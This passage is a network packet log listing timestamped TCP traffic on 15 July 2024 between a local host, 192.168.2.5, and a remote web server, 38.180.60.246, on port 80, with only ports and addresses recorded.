Jul 15, 2024 00:48:25.016290903 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.016302109 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.016303062 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.016311884 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.016324043 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.016329050 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.016335011 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.016343117 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.016346931 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.016360044 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.016364098 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.016386986 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.016411066 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.016463995 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.016475916 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.016493082 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.016505003 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.016505957 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.016518116 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.016532898 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.016560078 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.017524958 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.017540932 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.017597914 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.017631054 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.017643929 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.017669916 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.017671108 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.017682076 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.017692089 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.017693996 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.017702103 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.017704010 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.017715931 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.017724991 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.017728090 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.017739058 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.017749071 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.017751932 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.017765045 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.017776012 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.017786026 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.017786980 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.017805099 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.017808914 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.017813921 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.017819881 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.017842054 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.017844915 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.017857075 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.017868996 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.017868996 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.017880917 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.017891884 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.017904043 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.017924070 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.017924070 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.017940998 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.017991066 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.018053055 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.018102884 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.018115044 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.018125057 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.018131018 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.018138885 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.018141985 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.018152952 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.018161058 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.018163919 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.018183947 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.018203020 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.019000053 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.019011974 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.019021034 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.019036055 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.019047022 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.019057035 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.019057989 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.019068956 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.019077063 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.019082069 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.019093990 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.019099951 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.019099951 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.019105911 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.019118071 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.019130945 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.019130945 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.019141912 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.019154072 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.019159079 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.019165993 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.019174099 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.019176006 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.019190073 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.019192934 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.019201040 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.019216061 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.019239902 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.019546986 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.019561052 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.019602060 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.019694090 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.019706011 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.019716024 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.019726992 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.019738913 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.019743919 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.019751072 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.019759893 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.019762039 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.019773006 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.019787073 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.019798040 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.019809008 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.019819021 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.019819021 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.019821882 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.019825935 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.019841909 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.019853115 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.019854069 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.019866943 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.019876003 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.019877911 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.019890070 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.019896030 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.019902945 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.019916058 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.019918919 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.019928932 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.019939899 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.019951105 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.019953012 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.019958973 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.019963980 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.019977093 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.019988060 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.019989014 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.019999981 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.020019054 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.020030975 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.020057917 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.020766973 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.020782948 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.020793915 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.020806074 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.020833015 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.020833015 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.020864010 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.020867109 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.020879984 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.020891905 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.020903111 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.020905018 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.020915985 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.020926952 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.020940065 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.020948887 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.020948887 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.020967007 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.020981073 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.116401911 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.116449118 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.116468906 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.116489887 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.116504908 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.116516113 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.116528034 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.116525888 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.116559982 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.116606951 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.116612911 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.116630077 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.116641998 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.116651058 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.116652966 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.116664886 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.116672039 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.116674900 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.116686106 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.116686106 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.116729021 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.117472887 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.117485046 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.117495060 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.117507935 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.117518902 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.117531061 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.117531061 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.117542028 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.117552042 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.117572069 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.117788076 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.117830038 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.118474960 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.118486881 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.118496895 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.118510008 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.118520021 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.118527889 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.118530989 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.118542910 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.118554115 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.118556023 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.118577957 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.118583918 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.118598938 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.118623018 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.119756937 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.119823933 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.119858027 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.119868994 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.119879961 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.119889975 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.119899988 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.119900942 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.119910955 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.119931936 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.119942904 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.119971037 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.121517897 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.121567011 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.121583939 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.121594906 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.121622086 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.121627092 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.121633053 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.121642113 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.121663094 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.121670961 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.121679068 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.121682882 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.121691942 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.121717930 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.121748924 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.123476982 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.123487949 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.123500109 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.123528004 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.123543978 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.123553991 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.123557091 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.123568058 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.123579025 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.123584986 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.123603106 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.123625040 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.123652935 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.123687983 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.124406099 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.124418020 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.124428988 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.124444008 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.124452114 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.124488115 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.124514103 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.124525070 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.124536037 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.124546051 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.124553919 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.124577045 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.126154900 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.126166105 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.126177073 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.126211882 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.126219988 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.126230955 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.126240969 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.126240969 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.126256943 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.126269102 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.126287937 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.126296043 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.126328945 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.127990007 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.128002882 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.128014088 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.128036022 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.128047943 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.128051043 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.128061056 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.128073931 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.128079891 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.128093958 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.128118038 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.129677057 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.129690886 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.129703045 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.129715919 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.129729986 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.129748106 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.129759073 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.129761934 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.129782915 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.129785061 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.129811049 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.129828930 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.130143881 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.130155087 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.130198002 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.130230904 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.130243063 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.130254984 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.130275965 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.130294085 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.130314112 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.130326033 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.130337000 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.130358934 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.130387068 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.131984949 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.131997108 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.132009983 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.132040977 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.132090092 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.132112026 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.132131100 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.132144928 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.132152081 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.132158041 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.132169008 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.132185936 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.132205009 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.132316113 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.132364988 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.132370949 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.132407904 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.132467031 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.132505894 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.132600069 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.132611036 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.132622004 CEST	80	49704	38.180.60.246	192.168.2.5
